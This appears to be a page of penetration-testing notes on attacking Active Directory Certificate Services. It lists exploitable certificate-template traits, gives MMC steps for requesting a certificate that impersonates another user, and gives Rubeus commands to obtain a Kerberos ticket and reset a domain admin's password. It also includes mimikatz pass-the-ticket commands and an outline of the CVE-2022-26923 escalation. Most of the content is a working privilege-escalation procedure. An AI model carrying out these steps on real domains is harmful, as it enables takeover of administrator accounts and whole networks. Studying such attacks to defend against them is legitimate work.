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<div class="column column-3">
<ul>
<li><a href="#active-directory-certificate-service-adcs">Active Directory Certificate Service ADCS</a></li>
<li><a href="#certificate-templates">Certificate Templates</a><ul>
<li><a href="#enumeration">Enumeration</a></li>
<li><a href="#certificate-creation">Certificate Creation</a></li>
<li><a href="#impersonation">Impersonation</a></li>
</ul>
</li>
<li><a href="#cve-2022-26923">CVE-2022-26923</a><ul>
<li><a href="#usage">Usage</a></li>
</ul>
</li>
</ul>
</div>
<h2 id="active-directory-certificate-service-adcs">Active Directory Certificate Service ADCS</h2>
<ul>
<li>Internal CA</li>
<li>PKI</li>
<li>File system encryption</li>
<li>Digital signatures</li>
<li>
<p>User authentication</p>
</li>
<li>
<p><strong>Certificates will not be revoked after account password reset</strong></p>
</li>
</ul>
<h2 id="certificate-templates">Certificate Templates</h2>
<ul>
<li>Extended/Enhanced Key Usage (EKU)</li>
<li>Parameter combination can be exploited</li>
<li>User Certificates may be requested from a member of a Domain User Group</li>
<li>Machine Certifcates may be requested from a host of a Domain Computer Group </li>
</ul>
<h3 id="enumeration">Enumeration</h3>
<ul>
<li><a href="https://github.com/GhostPack/PSPKIAudit">PSPKIAudit</a></li>
</ul>
<div class="codehilite"><pre><span></span><code>certutil -v -template &gt; ct.txt
</code></pre></div>
<p>Exploitable templates should have the following traits:
* <code>Allow Enroll</code> or <code>Allow Full Control</code> permissions to request certificate
* Find groups by <code>net user &lt;username&gt; /domain</code> --&gt; <code>Domain Users</code>, <code>Domain Computers</code>
* Client authentication EKU for Kerberos authentication --&gt; <code>Client Authentication</code>
* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --&gt; <code>CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT</code></p>
<h3 id="certificate-creation">Certificate Creation</h3>
<ul>
<li><code>Win+R</code> --&gt; <code>mmc</code> --&gt; <code>File</code> --&gt; <code>Add/Remove Snap-in</code> --&gt; <code>Certificates</code> (Request Certificate if administration account --&gt; Computer Account)</li>
<li>After that in the main menu, <code>Certificates</code> --&gt; right click on <code>Personal</code> --&gt; <code>All Tasks</code> --&gt; <code>Request Certificates</code> --&gt; <code>Next</code> --&gt; <code>Next</code> --&gt; <code>More information is required to enroll this certificate</code> --&gt; <code>Common Name</code> --&gt; <code>CN=concerto</code> &amp;&amp; <code>User Principal Name</code> is the user to impersonate --&gt; <code>OK</code> --&gt; select <code>User Request</code> --&gt; <code>Enroll</code></li>
<li>After that in the main menu, <code>Personal</code> --&gt; <code>Certificates</code> --&gt; <strong>The certificate</strong></li>
<li>Right click certificate --&gt; <code>All Tasks</code> --&gt; <code>Export</code> --&gt; <code>Yes, export private key</code> --&gt; <code>PFX</code> --&gt; set <code>Password</code> --&gt; Save</li>
</ul>
<h3 id="impersonation">Impersonation</h3>
<ul>
<li>Request TGT with the created cert</li>
<li>
<p>Grab TGT</p>
</li>
<li>
<p>On the machine via</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>Rubeus.exe asktgt /user:&lt;user <span class="o">(</span>UPN<span class="o">)</span> of cert&gt; /enctype:aes256 /certificate:&lt;path to certificate&gt; /password:&lt;certificate file password&gt; /outfile:&lt;name of file to write TGT to.kirbi&gt; /domain:&lt;domain name&gt; /dc:&lt;IP of domain controller&gt;
</code></pre></div>
<ul>
<li>Select a domain admin via opening <code>Active Directory Users and Computers</code></li>
</ul>
<div class="codehilite"><pre><span></span><code>.<span class="se">\R</span>ubeus.exe changepw /ticket:&lt;ticketfilename&gt; /new:&lt;new password&gt; /dc:&lt;domain of controller&gt; /targetuser:&lt;domain&gt;<span class="se">\&lt;</span>dauser&gt;
</code></pre></div>
<ul>
<li>
<p><code>runas /user:&lt;domain&gt;\&lt;username of DA&gt; cmd.exe</code></p>
</li>
<li>
<p>Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain</p>
</li>
</ul>
<div class="codehilite"><pre><span></span><code>privilege::debug
kerberos::ptt &lt;name of file to write TGT to.kirbi&gt;
<span class="nb">exit</span>
dir <span class="se">\\</span>&lt;domain&gt;<span class="se">\&lt;</span>dir&gt;$<span class="se">\</span>
</code></pre></div>
<h2 id="cve-2022-26923">CVE-2022-26923</h2>
<ul>
<li>Aims on abusing templates configuration, the Subject Alternative Name <code>SAN</code>. Set it to someone with higher permissions</li>
<li>User and Machine certificate templates</li>
<li>User Principal Name is used for <code>SAN</code>, this template can not be modified in a way to escalate privileges</li>
<li>Computer accounts DNS name is used for <code>SAN</code></li>
<li>Users of the Authenticated Users Group can create 10 Machine Certificates</li>
<li><strong>DNS hostname</strong> is used for authentication</li>
<li><strong>Service Principal Names (SPN)</strong>, associates a service logon with a service instance. SPNs are unique</li>
<li>Permissions of interest, all two are needed<ul>
<li>Validate write to DNS hostname allows to update DNS hostname of AD object associated with the host</li>
<li>Validate write to SPN, update SPN of the AD object associated with the host</li>
</ul>
</li>
</ul>
<h3 id="usage">Usage</h3>
<ul>
<li>User account has to be compromised, use it to enrol a new host on the domain</li>
<li>Alter the DNS hostname attribute of the AD Object to one of a Domain Controller or other higher privilege</li>
<li>Remove the SPN attribute to bypass the unique SPN</li>
<li>With the default template request the machine cert</li>
<li>authenticate via Kerberos with the template as the higher privileged machine</li>
</ul>
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